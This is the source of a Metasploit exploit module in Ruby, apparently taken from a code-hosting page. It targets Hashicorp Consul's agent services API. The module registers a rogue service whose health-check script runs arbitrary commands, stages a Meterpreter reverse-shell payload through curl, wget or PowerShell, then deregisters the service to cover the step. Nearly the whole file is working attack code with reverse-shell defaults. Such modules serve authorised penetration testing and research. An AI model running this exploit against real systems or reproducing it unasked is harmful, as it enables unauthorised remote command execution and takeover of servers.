161 lines
4.7 KiB
Ruby
161 lines
4.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Hashicorp Consul Remote Command Execution via Services API',
|
|
'Description' => %q{
|
|
This module exploits Hashicorp Consul's services API to gain remote command
|
|
execution on Consul nodes.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
|
|
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
|
|
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module
|
|
'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
|
|
[ 'URL', 'https://github.com/torque59/Garfield' ]
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'linux',
|
|
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'CmdStagerFlavor' => 'psh_invokewebrequest',
|
|
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
|
}
|
|
]
|
|
],
|
|
'Payload' => {},
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2018-08-11'
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
|
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
|
|
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
|
|
Opt::RPORT(8500)
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
|
|
'headers' => {
|
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
|
}
|
|
})
|
|
|
|
unless res
|
|
vprint_error 'Connection failed'
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
unless res.code == 200
|
|
vprint_error 'Unexpected reply'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
agent_info = JSON.parse(res.body)
|
|
|
|
if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Safe
|
|
rescue JSON::ParserError
|
|
vprint_error 'Failed to parse JSON output.'
|
|
return CheckCode::Unknown
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
uri = target_uri.path
|
|
service_name = Rex::Text.rand_text_alpha(5..10)
|
|
print_status("Creating service '#{service_name}'")
|
|
|
|
# NOTE: Timeout defines how much time the check script will run until
|
|
# getting killed. Arbitrarily set to one day for now.
|
|
case target.name
|
|
when /Linux/
|
|
arg1 = 'sh'
|
|
arg2 = '-c'
|
|
when /Windows/
|
|
arg1 = 'cmd.exe'
|
|
arg2 = '/c'
|
|
end
|
|
res = send_request_cgi({
|
|
'method' => 'PUT',
|
|
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
|
|
'headers' => {
|
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
|
},
|
|
'ctype' => 'application/json',
|
|
'data' => {
|
|
ID: service_name.to_s,
|
|
Name: service_name.to_s,
|
|
Address: '127.0.0.1',
|
|
Port: 80,
|
|
check: {
|
|
Args: [arg1, arg2, cmd.to_s],
|
|
interval: '10s',
|
|
Timeout: '86400s'
|
|
}
|
|
}.to_json
|
|
})
|
|
unless res && res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
|
|
end
|
|
print_status("Service '#{service_name}' successfully created.")
|
|
print_status("Waiting for service '#{service_name}' script to trigger")
|
|
sleep(12)
|
|
print_status("Removing service '#{service_name}'")
|
|
res = send_request_cgi({
|
|
'method' => 'PUT',
|
|
'uri' => normalize_uri(
|
|
uri,
|
|
"v1/agent/service/deregister/#{service_name}"
|
|
),
|
|
'headers' => {
|
|
'X-Consul-Token' => datastore['ACL_TOKEN']
|
|
}
|
|
})
|
|
if res && res.code != 200
|
|
fail_with(Failure::UnexpectedReply,
|
|
'An error occured when contacting the Consul API.')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
execute_cmdstager
|
|
end
|
|
end
|